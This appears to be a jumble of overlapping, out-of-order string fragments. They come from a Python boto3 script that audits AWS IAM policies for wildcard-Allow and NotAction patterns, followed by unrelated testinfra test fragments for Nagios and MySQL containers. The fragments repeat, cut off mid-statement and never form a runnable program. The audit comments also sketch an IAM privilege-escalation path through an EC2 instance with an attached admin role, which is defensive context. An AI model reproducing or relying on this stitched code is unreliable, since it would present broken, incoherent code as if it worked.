boto3.session.Session(profile_name=profile) myiam = session.client('iam') marker", "= len(response['Users']) if(usercnt > 1): userresp = \" Users\" else:", "e: pass # Pattern 2: Allow: *, NotAction # {'Version':", "try: marker = response_iterator['Marker'] except KeyError: break print(\"\\nTotal Policies: {}\".format(len(allPolicies)))", "logging.error(e) return False try: iam = client.client('iam') response = iam.list_users()", "Then it grants specific # access in the next stanza", "myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator = myiam.list_policies(OnlyAttached=True) for p in pbar(response_iterator['Policies']):", "{} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass", "in the next stanza ('iam:ListRoles', etc) # The fatal flaw", "logging.info(\"Profile \" + args.profile + \" working\") workingProfiles.append(args.profile) workingCreds =", "*, NotAction # {'Version': '2012-10-17', # 'Statement': [ # {", "pbar(allPolicies): # This section looks for bad/dangerous patterns # Pattern", "args.profile + \" not working\") exit(1) else: logging.info(\"Profile \" +", "'Resource': ['*'] # } # ] # } try: q", "1 while True: pbar = ProgressBar('Collecting Policies') print(\"Policy Collection, Pass", "usercnt = len(response['Users']) if(usercnt > 1): userresp = \" Users\"", "# 'Statement': [ # { # 'Effect': 'Allow', # 'NotAction':", "import argparse import boto3 import json import logging import os", "# 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', # 'organizations:DescribeOrganization', # 'account:ListRegions' # ],", "\") logging.error(e) return False if len(response['Users']) == 0: logging.info(\"No users\")", "AWS Default Profile\") if (not check_profile(\"default\")): logging.error(\"Default credentials not working.\")", "'Resource': '*' # } # ]} # This policy blacklists", "not working\") exit(1) else: logging.info(\"Profile \" + args.profile + \"", "check_profile(\"default\")): logging.error(\"Default credentials not working.\") print(\"Default credentials not working.\") quit()", "import os from progressbar import ProgressBar import sys \"\"\" Collects", "main(): global logging parser = argparse.ArgumentParser() setup_args(parser) global args args", "'Version': '2012-10-17', # 'Statement': [ # {'Effect': 'Allow', # 'Action':", "+ userresp) return True def setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\")", "import json import logging import os from progressbar import ProgressBar", "Dangerous Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as", "{}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass # Pattern", "users\") if len(response) > 0: usercnt = len(response['Users']) if(usercnt >", "setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log Level\") def", "Exception as e: print(\"Problem parsing this policy: {}\".format(p)) logging.debug(\"Problem parsing", "# 'Resource': ['*'] # } # ] # } try:", "in pbar(allPolicies): # This section looks for bad/dangerous patterns #", "def main(): global logging parser = argparse.ArgumentParser() setup_args(parser) global args", "= open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close() try: marker", "= {'Policy': p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl = open(os.path.join('policies/', p['PolicyName']+'.json'),", "= [] passcount = 1 while True: pbar = ProgressBar('Collecting", "# AWSLambdaRole { # 'Version': '2012-10-17', # 'Statement': [ #", "p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass # Pattern 2:", "ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae, default=str,", "if (not check_profile(\"default\")): logging.error(\"Default credentials not working.\") print(\"Default credentials not", "# This policy blacklists all 'iam:*', 'organizations:*', and # 'accounts:*'", "{}\".format(passcount)) passcount += 1 if marker: response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker)", "'Allow' and q['Resource'] == '*'): print(\"Review Suspect Policy: {} ->", "{'Version': '2012-10-17', # 'Statement': [ # { # 'Effect': 'Allow',", "False if len(response['Users']) == 0: logging.info(\"No users\") if len(response) >", "get_policies(profile): session = boto3.session.Session(profile_name=profile) myiam = session.client('iam') marker = None", "p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl = open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol,", "return args.profile def check_profile(profile): global logging try: if(profile == \"default\"):", "'accounts:*' with the NotAction. Then it grants specific # access", "= \" Users\" else: userresp = \" User\" logging.info(str(usercnt) +", "for badness (*.*, Effect:Allow + NotAction) Need to add more", "\" + args.profile + \" not working\") exit(1) else: logging.info(\"Profile", "False global logging global workingProfiles workingProfiles = [] if not", "profile = check_args_creds(args) get_policies(profile) if __name__ == \"__main__\": # execute", "except Exception as e: logging.error(\"Error listing users: \") logging.error(e) return", "lambda or ec2 because of the \"Allow\" in the first", "# } # ]} # This policy blacklists all 'iam:*',", "+ args.profile + \" Profile\") if (not check_profile(args.profile)): logging.error(\"Profile \"", "True return args.profile def check_profile(profile): global logging try: if(profile ==", "{}\".format(p)) logging.debug(\"Problem parsing this policy: {}\".format(p)) print(e) continue try: if", "'w') pfl.write(json.dumps(ae, default=str, indent=4)) pfl.close() try: marker = response_iterator['Marker'] except", "parser.add_argument(\"-l\", \"--log\", help=\"Log Level\") def main(): global logging parser =", "for p in pbar(response_iterator['Policies']): polVers = myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol", "'account:*'], # 'Resource': '*' # }, # { # 'Effect':", "VersionId=p['DefaultVersionId']) mypol = {'Policy': p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl =", "polVers['PolicyVersion']} allPolicies.append(mypol) pfl = open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str, indent=4))", "This policy blacklists all 'iam:*', 'organizations:*', and # 'accounts:*' with", "['iam:*', 'organizations:*', 'account:*'], # 'Resource': '*' # }, # {", "else: logging.info(\"Profile \" + args.profile + \" working\") workingProfiles.append(args.profile) workingCreds", "The fatal flaw is that it grants access to everything", "[ # {'Effect': 'Allow', # 'Action': '*', # 'Resource': ['*']", "patterns # Pattern 1: Allow *.* # AWSLambdaRole { #", "import boto3 import json import logging import os from progressbar", "if len(response) > 0: usercnt = len(response['Users']) if(usercnt > 1):", "logging.info(\"Using AWS Default Profile\") if (not check_profile(\"default\")): logging.error(\"Default credentials not", "IAM Policies Evaluates policies looking for badness (*.*, Effect:Allow +", "continue try: if (q['Effect'] == \"Allow\" and '*' in q['Resource']", "== \"default\"): client = boto3.session.Session() else: logging.info(\"Testing profile: \" +", "# 'account:ListRegions' # ], # 'Resource': '*' # } #", "print(\"Policy Collection, Pass Number: {}\".format(passcount)) passcount += 1 if marker:", "client = boto3.session.Session() else: logging.info(\"Testing profile: \" + profile) client", "global workingProfiles workingProfiles = [] if not args.profile: logging.info(\"Using AWS", "[ 'iam:CreateServiceLinkedRole', # 'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', # 'organizations:DescribeOrganization', # 'account:ListRegions'", "workingCreds = True if args.profile and args.profile is not None:", "ec2 because of the \"Allow\" in the first stanza. #", "try: iam = client.client('iam') response = iam.list_users() except Exception as", "bad/dangerous patterns # Pattern 1: Allow *.* # AWSLambdaRole {", "tests/use cases \"\"\" def get_policies(profile): session = boto3.session.Session(profile_name=profile) myiam =", "workingCreds = True return args.profile def check_profile(profile): global logging try:", "json import logging import os from progressbar import ProgressBar import", "len(response) > 0: usercnt = len(response['Users']) if(usercnt > 1): userresp", "# } try: q = p['PolicyVersion']['Document']['Statement'][0] except Exception as e:", "= False global logging global workingProfiles workingProfiles = [] if", "> 0: usercnt = len(response['Users']) if(usercnt > 1): userresp =", "None allPolicies = [] passcount = 1 while True: pbar", "access to Admin. Instance # privilege escalation. try: if (q['NotAction']", "and '*' in q['Resource'] and '*' in q['Action']): print(\"Review Dangerous", "import logging import os from progressbar import ProgressBar import sys", "parsing this policy: {}\".format(p)) logging.debug(\"Problem parsing this policy: {}\".format(p)) print(e)", "to Admin. Instance # privilege escalation. try: if (q['NotAction'] and", "if args.profile and args.profile is not None: logging.info(\"Using \" +", "# { # 'Effect': 'Allow', # 'Action': [ 'iam:CreateServiceLinkedRole', #", "login and give themselves access to Admin. Instance # privilege", "Exception as e: logging.error(\"Error listing users: \") logging.error(e) return False", "args.profile and args.profile is not None: logging.info(\"Using \" + args.profile", "myiam.list_policies(OnlyAttached=True) for p in pbar(response_iterator['Policies']): polVers = myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId'])", "in the first stanza. # This user can create an", "and give themselves access to Admin. Instance # privilege escalation.", "session = boto3.session.Session(profile_name=profile) myiam = session.client('iam') marker = None allPolicies", "Suspect Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as", "'Statement': [ # { # 'Effect': 'Allow', # 'NotAction': ['iam:*',", "p['PolicyVersion']['Document']['Statement'][0] except Exception as e: print(\"Problem parsing this policy: {}\".format(p))", "def setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log Level\")", "pbar(response_iterator['Policies']): polVers = myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol = {'Policy': p,", "global logging try: if(profile == \"default\"): client = boto3.session.Session() else:", "Exception as e: pass # Pattern 2: Allow: *, NotAction", "to # it, and login and give themselves access to", "else: logging.info(\"Testing profile: \" + profile) client = boto3.session.Session(profile_name=profile) except", "# }, # { # 'Effect': 'Allow', # 'Action': [", "logging.error(e) return False if len(response['Users']) == 0: logging.info(\"No users\") if", "cases \"\"\" def get_policies(profile): session = boto3.session.Session(profile_name=profile) myiam = session.client('iam')", "print(e) continue try: if (q['Effect'] == \"Allow\" and '*' in", "boto3 import json import logging import os from progressbar import", "# ], # 'Resource': '*' # } # ]} #", "= myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator = myiam.list_policies(OnlyAttached=True) for p in", "global logging parser = argparse.ArgumentParser() setup_args(parser) global args args =", "quit() else: workingProfiles.append(\"default\") workingCreds = True if args.profile and args.profile", "etc) # The fatal flaw is that it grants access", "'iam:*', 'organizations:*', and # 'accounts:*' with the NotAction. Then it", "# 'Resource': '*' # }, # { # 'Effect': 'Allow',", "1): userresp = \" Users\" else: userresp = \" User\"", "\"Allow\" and '*' in q['Resource'] and '*' in q['Action']): print(\"Review", "the first stanza. # This user can create an EC2", "boto3.session.Session(profile_name=profile) myiam = session.client('iam') marker = None allPolicies = []", "except Exception as e: pass return def check_args_creds(args): # handle", "args = parser.parse_args() if args.log and args.log.upper() == \"DEBUG\": loglevel", "def check_args_creds(args): # handle profiles / authentication / credentials workingCreds", "except Exception as e: pass # Pattern 2: Allow: *,", "Evaluates policies looking for badness (*.*, Effect:Allow + NotAction) Need", "== 0: logging.info(\"No users\") if len(response) > 0: usercnt =", "args args = parser.parse_args() if args.log and args.log.upper() == \"DEBUG\":", "Policies') for p in pbar(allPolicies): # This section looks for", "specific # access in the next stanza ('iam:ListRoles', etc) #", "{}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass return def", "\" + args.profile + \" Profile\") if (not check_profile(args.profile)): logging.error(\"Profile", "/ authentication / credentials workingCreds = False global logging global", "Exception as e: logging.error(\"Error connecting: \") logging.error(e) return False try:", "userresp) return True def setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\",", "= \" User\" logging.info(str(usercnt) + userresp) return True def setup_args(parser):", "\" working\") workingProfiles.append(args.profile) workingCreds = True return args.profile def check_profile(profile):", "# 'accounts:*' with the NotAction. Then it grants specific #", "Profile\") parser.add_argument(\"-l\", \"--log\", help=\"Log Level\") def main(): global logging parser", "This section looks for bad/dangerous patterns # Pattern 1: Allow", "else, # like lambda or ec2 because of the \"Allow\"", "'Effect': 'Allow', # 'NotAction': ['iam:*', 'organizations:*', 'account:*'], # 'Resource': '*'", "if (q['NotAction'] and q['Effect'] == 'Allow' and q['Resource'] == '*'):", "pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/',", "instance, attach an admin role to # it, and login", "else: workingProfiles.append(\"default\") workingCreds = True if args.profile and args.profile is", "\" Users\" else: userresp = \" User\" logging.info(str(usercnt) + userresp)", "= \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile = check_args_creds(args) get_policies(profile) if", "= parser.parse_args() if args.log and args.log.upper() == \"DEBUG\": loglevel =", "'2012-10-17', # 'Statement': [ # { # 'Effect': 'Allow', #", "is not None: logging.info(\"Using \" + args.profile + \" Profile\")", "'iam:DeleteServiceLinkedRole', # 'iam:ListRoles', # 'organizations:DescribeOrganization', # 'account:ListRegions' # ], #", "def get_policies(profile): session = boto3.session.Session(profile_name=profile) myiam = session.client('iam') marker =", "args.log and args.log.upper() == \"DEBUG\": loglevel = \"DEBUG\" else: loglevel", "userresp = \" Users\" else: userresp = \" User\" logging.info(str(usercnt)", "return False if len(response['Users']) == 0: logging.info(\"No users\") if len(response)", "Pass Number: {}\".format(passcount)) passcount += 1 if marker: response_iterator =", "logging.info(\"Using \" + args.profile + \" Profile\") if (not check_profile(args.profile)):", "# 'Statement': [ # {'Effect': 'Allow', # 'Action': '*', #", "], # 'Resource': '*' # } # ]} # This", "working.\") print(\"Default credentials not working.\") quit() else: workingProfiles.append(\"default\") workingCreds =", "True: pbar = ProgressBar('Collecting Policies') print(\"Policy Collection, Pass Number: {}\".format(passcount))", "p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str, indent=4)) pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl", "+ \" Profile\") if (not check_profile(args.profile)): logging.error(\"Profile \" + args.profile", "os from progressbar import ProgressBar import sys \"\"\" Collects IAM", "ProgressBar import sys \"\"\" Collects IAM Policies Evaluates policies looking", "[ # { # 'Effect': 'Allow', # 'NotAction': ['iam:*', 'organizations:*',", "pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(ae,", "# access in the next stanza ('iam:ListRoles', etc) # The", "return True def setup_args(parser): parser.add_argument(\"-p\", \"--profile\", help=\"AWS Profile\") parser.add_argument(\"-l\", \"--log\",", "as e: print(\"Problem parsing this policy: {}\".format(p)) logging.debug(\"Problem parsing this", "else: response_iterator = myiam.list_policies(OnlyAttached=True) for p in pbar(response_iterator['Policies']): polVers =", "EC2 instance, attach an admin role to # it, and", "+= 1 if marker: response_iterator = myiam.list_policies(OnlyAttached=True, Marker=marker) else: response_iterator", "= [] if not args.profile: logging.info(\"Using AWS Default Profile\") if", "escalation. try: if (q['NotAction'] and q['Effect'] == 'Allow' and q['Resource']", "PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol = {'Policy': p, 'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl", "ProgressBar('\\tChecking for Dangerous Policies') for p in pbar(allPolicies): # This", "(q['Effect'] == \"Allow\" and '*' in q['Resource'] and '*' in", "working\") workingProfiles.append(args.profile) workingCreds = True return args.profile def check_profile(profile): global", "level=loglevel) profile = check_args_creds(args) get_policies(profile) if __name__ == \"__main__\": #", "= iam.list_users() except Exception as e: logging.error(\"Error listing users: \")", "logging import os from progressbar import ProgressBar import sys \"\"\"", "and # 'accounts:*' with the NotAction. Then it grants specific", "not working.\") print(\"Default credentials not working.\") quit() else: workingProfiles.append(\"default\") workingCreds", "access to everything else, # like lambda or ec2 because", "Allow *.* # AWSLambdaRole { # 'Version': '2012-10-17', # 'Statement':", "userresp = \" User\" logging.info(str(usercnt) + userresp) return True def", "in pbar(response_iterator['Policies']): polVers = myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol = {'Policy':", "profile) client = boto3.session.Session(profile_name=profile) except Exception as e: logging.error(\"Error connecting:", "else: loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile = check_args_creds(args)", "-> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass #", "'*' # }, # { # 'Effect': 'Allow', # 'Action':", "Dangerous Policies') for p in pbar(allPolicies): # This section looks", "it, and login and give themselves access to Admin. Instance", "themselves access to Admin. Instance # privilege escalation. try: if", "-> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except Exception as e: pass return", "e: pass return def check_args_creds(args): # handle profiles / authentication", "p in pbar(response_iterator['Policies']): polVers = myiam.get_policy_version( PolicyArn=p['Arn'], VersionId=p['DefaultVersionId']) mypol =", "= check_args_creds(args) get_policies(profile) if __name__ == \"__main__\": # execute only", "policy blacklists all 'iam:*', 'organizations:*', and # 'accounts:*' with the", "len(response['Users']) == 0: logging.info(\"No users\") if len(response) > 0: usercnt", "'*' in q['Resource'] and '*' in q['Action']): print(\"Review Dangerous Policy:", "print(\"Default credentials not working.\") quit() else: workingProfiles.append(\"default\") workingCreds = True", "Pattern 1: Allow *.* # AWSLambdaRole { # 'Version': '2012-10-17',", "everything else, # like lambda or ec2 because of the", "= session.client('iam') marker = None allPolicies = [] passcount =", "+ \" working\") workingProfiles.append(args.profile) workingCreds = True return args.profile def", "if (not check_profile(args.profile)): logging.error(\"Profile \" + args.profile + \" not", "in q['Resource'] and '*' in q['Action']): print(\"Review Dangerous Policy: {}", "q['Action']): print(\"Review Dangerous Policy: {} -> {}\".format( p['Policy']['PolicyName'], p['PolicyVersion']['Document'])) except", "}, # { # 'Effect': 'Allow', # 'Action': [ 'iam:CreateServiceLinkedRole',", "iam = client.client('iam') response = iam.list_users() except Exception as e:", "'Resource': '*' # }, # { # 'Effect': 'Allow', #", "workingProfiles.append(\"default\") workingCreds = True if args.profile and args.profile is not", "# {'Effect': 'Allow', # 'Action': '*', # 'Resource': ['*'] #", "Allow: *, NotAction # {'Version': '2012-10-17', # 'Statement': [ #", "it grants specific # access in the next stanza ('iam:ListRoles',", "indent=4)) pfl.close() ae = myiam.list_entities_for_policy(PolicyArn=p['Arn']) pfl = open(os.path.join('attachedentities/', p['PolicyName']+'.json'), 'w')", "policy: {}\".format(p)) print(e) continue try: if (q['Effect'] == \"Allow\" and", "boto3.session.Session() else: logging.info(\"Testing profile: \" + profile) client = boto3.session.Session(profile_name=profile)", "Users\" else: userresp = \" User\" logging.info(str(usercnt) + userresp) return", "access in the next stanza ('iam:ListRoles', etc) # The fatal", "# 'Version': '2012-10-17', # 'Statement': [ # {'Effect': 'Allow', #", "= \"DEBUG\" else: loglevel = \"INFO\" logging.basicConfig(filename='policyAssessment.log', format='%(levelname)s:%(message)s', level=loglevel) profile", "pfl.close() try: marker = response_iterator['Marker'] except KeyError: break print(\"\\nTotal Policies:", "Policies') print(\"Policy Collection, Pass Number: {}\".format(passcount)) passcount += 1 if", "== \"Allow\" and '*' in q['Resource'] and '*' in q['Action']):", "'PolicyVersion': polVers['PolicyVersion']} allPolicies.append(mypol) pfl = open(os.path.join('policies/', p['PolicyName']+'.json'), 'w') pfl.write(json.dumps(mypol, default=str,", "{}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking for Dangerous Policies') for p in", "this policy: {}\".format(p)) logging.debug(\"Problem parsing this policy: {}\".format(p)) print(e) continue", "if (q['Effect'] == \"Allow\" and '*' in q['Resource'] and '*'", "\"default\"): client = boto3.session.Session() else: logging.info(\"Testing profile: \" + profile)", "args.profile + \" Profile\") if (not check_profile(args.profile)): logging.error(\"Profile \" +", "and args.profile is not None: logging.info(\"Using \" + args.profile +", "NotAction # {'Version': '2012-10-17', # 'Statement': [ # { #", "q['Effect'] == 'Allow' and q['Resource'] == '*'): print(\"Review Suspect Policy:", "return def check_args_creds(args): # handle profiles / authentication / credentials", "} try: q = p['PolicyVersion']['Document']['Statement'][0] except Exception as e: print(\"Problem", "User\" logging.info(str(usercnt) + userresp) return True def setup_args(parser): parser.add_argument(\"-p\", \"--profile\",", "Number: {}\".format(passcount)) passcount += 1 if marker: response_iterator = myiam.list_policies(OnlyAttached=True,", "if(profile == \"default\"): client = boto3.session.Session() else: logging.info(\"Testing profile: \"", "= boto3.session.Session(profile_name=profile) except Exception as e: logging.error(\"Error connecting: \") logging.error(e)", "sys \"\"\" Collects IAM Policies Evaluates policies looking for badness", "(q['NotAction'] and q['Effect'] == 'Allow' and q['Resource'] == '*'): print(\"Review", "argparse.ArgumentParser() setup_args(parser) global args args = parser.parse_args() if args.log and", "logging.error(\"Error listing users: \") logging.error(e) return False if len(response['Users']) ==", "with the NotAction. Then it grants specific # access in", "response = iam.list_users() except Exception as e: logging.error(\"Error listing users:", "check_profile(profile): global logging try: if(profile == \"default\"): client = boto3.session.Session()", "pass return def check_args_creds(args): # handle profiles / authentication /", "/ credentials workingCreds = False global logging global workingProfiles workingProfiles", "as e: pass return def check_args_creds(args): # handle profiles /", "# ] # } try: q = p['PolicyVersion']['Document']['Statement'][0] except Exception", "\"--log\", help=\"Log Level\") def main(): global logging parser = argparse.ArgumentParser()", "'organizations:DescribeOrganization', # 'account:ListRegions' # ], # 'Resource': '*' # }", "KeyError: break print(\"\\nTotal Policies: {}\".format(len(allPolicies))) pbar = ProgressBar('\\tChecking for Dangerous", "logging.info(\"Testing profile: \" + profile) client = boto3.session.Session(profile_name=profile) except Exception", "logging.debug(\"Problem parsing this policy: {}\".format(p)) print(e) continue try: if (q['Effect']", "first stanza. # This user can create an EC2 instance,", "format='%(levelname)s:%(message)s', level=loglevel) profile = check_args_creds(args) get_policies(profile) if __name__ == \"__main__\":", "+ profile) client = boto3.session.Session(profile_name=profile) except Exception as e: logging.error(\"Error", "1: Allow *.* # AWSLambdaRole { # 'Version': '2012-10-17', #", "[] if not args.profile: logging.info(\"Using AWS Default Profile\") if (not", "\"Allow\" in the first stanza. # This user can create", "as e: logging.error(\"Error connecting: \") logging.error(e) return False try: iam", "'iam:ListRoles', # 'organizations:DescribeOrganization', # 'account:ListRegions' # ], # 'Resource': '*'", "e: print(\"Problem parsing this policy: {}\".format(p)) logging.debug(\"Problem parsing this policy:" ]
[ "'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert", "if \"TopologyComponent\" in p and \\ p[\"TopologyComponent\"][\"typeName\"] == type_name and", "== \"ubuntu_mysql_1\" } ] for c in components: print(\"Running assertion", "e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_mysql_1\" } ]", "in p and \\ p[\"TopologyComponent\"][\"typeName\"] == type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]):", "_get_key_value(tag_list): for key, value in (pair.split(':', 1) for pair in", "import json import os import re from testinfra.utils.ansible_runner import AnsibleRunner", "assert _component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is not None", "if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return None def test_nagios_mysql(host): def assert_topology():", "tags_assert_fn=c[\"tags\"], ) is not None util.wait_until(assert_topology, 30, 3) def test_container_metrics(host):", "\"Should find the mysql container\", \"type\": \"container\", \"external_id\": lambda e_id:", "= json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f: json.dump(json_data, f, indent=4)", "data = json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return None def", "import util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list): for key, value", "as f: json.dump(json_data, f, indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components =", "expected = {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users',", "indent=4) def get_keys(m_host): return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in json_data[\"messages\"]", "'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric", "lambda t: t[\"container_name\"] == \"ubuntu_nagios_1\" }, { \"assertion\": \"Should find", "f: json.dump(json_data, f, indent=4) external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components = [", "== type_name and \\ external_id_assert_fn(p[\"TopologyComponent\"][\"externalId\"]): data = json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))):", "util.wait_until(assert_topology, 30, 3) def test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics():", ") expected = {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition',", "'nagios.ping.rta', 'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric for expectedMetric in expected if", "type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is not None util.wait_until(assert_topology, 30, 3)", "key, value in (pair.split(':', 1) for pair in tag_list): yield", "c[\"assertion\"]) assert _component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is not", "testinfra.utils.ansible_runner import AnsibleRunner import util testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations') def _get_key_value(tag_list):", "_component_data( json_data=json_data, type_name=c[\"type\"], external_id_assert_fn=c[\"external_id\"], tags_assert_fn=c[\"tags\"], ) is not None util.wait_until(assert_topology,", "'nagios.http.time', 'nagios.current_load.load15', 'nagios.swap_usage.swap', 'nagios.host.pl', 'nagios.root_partition', 'nagios.current_users.users', 'nagios.current_load.load1', 'nagios.host.rta', 'nagios.ping.rta', 'nagios.current_load.load5',", "host.check_output(\"curl \\\"%s\\\"\" % url) json_data = json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w')", "json_data = json.loads(data) with open(\"./topic-nagios-sts-multi-metrics.json\", 'w') as f: json.dump(json_data, f,", "external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_nagios_1\" }, { \"assertion\":", "re.compile(r\"urn:container:/agent-integrations:.*\") components = [ { \"assertion\": \"Should find the nagios", "'nagios.current_load.load5', 'nagios.total_processes.procs'} assert all([expectedMetric for expectedMetric in expected if expectedMetric", "message in json_data[\"messages\"]: p = message[\"message\"][\"TopologyElement\"][\"payload\"] if \"TopologyComponent\" in p", "1) for pair in tag_list): yield key, value def _component_data(json_data,", "30, 3) def test_container_metrics(host): url = \"http://localhost:7070/api/topic/sts_multi_metrics?limit=1000\" def wait_for_metrics(): data", "json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\" and message[\"message\"][\"MultiMetric\"][\"host\"] == m_host )", "set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] == \"convertedMetric\"", "external_id_pattern = re.compile(r\"urn:container:/agent-integrations:.*\") components = [ { \"assertion\": \"Should find", "json import os import re from testinfra.utils.ansible_runner import AnsibleRunner import", "topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl \"{}\"'.format(topo_url)) json_data = json.loads(data)", "find the mysql container\", \"type\": \"container\", \"external_id\": lambda e_id: external_id_pattern.findall(e_id),", "assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl \"{}\"'.format(topo_url)) json_data =", "lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_nagios_1\" },", "message[\"message\"][\"MultiMetric\"][\"host\"] == m_host ) expected = {'nagios.http.size', 'nagios.ping.pl', 'nagios.http.time', 'nagios.current_load.load15',", "= json.loads(p[\"TopologyComponent\"][\"data\"]) if tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return None def test_nagios_mysql(host):", "= json.loads(data) with open(\"./topic-nagios-topo-process-agents.json\", 'w') as f: json.dump(json_data, f, indent=4)", "} ] for c in components: print(\"Running assertion for: \"", "assert all([expectedMetric for expectedMetric in expected if expectedMetric in get_keys(\"agent-integrations\")])", "components: print(\"Running assertion for: \" + c[\"assertion\"]) assert _component_data( json_data=json_data,", "t[\"container_name\"] == \"ubuntu_mysql_1\" } ] for c in components: print(\"Running", "tags_assert_fn(dict(_get_key_value(data[\"tags\"]))): return data return None def test_nagios_mysql(host): def assert_topology(): topo_url", "lambda e_id: external_id_pattern.findall(e_id), \"tags\": lambda t: t[\"container_name\"] == \"ubuntu_mysql_1\" }", "return set( ''.join(message[\"message\"][\"MultiMetric\"][\"values\"].keys()) for message in json_data[\"messages\"] if message[\"message\"][\"MultiMetric\"][\"name\"] ==", "_component_data(json_data, type_name, external_id_assert_fn, tags_assert_fn): for message in json_data[\"messages\"]: p =", "test_nagios_mysql(host): def assert_topology(): topo_url = \"http://localhost:7070/api/topic/sts_topo_process_agents?limit=1500\" data = host.check_output('curl 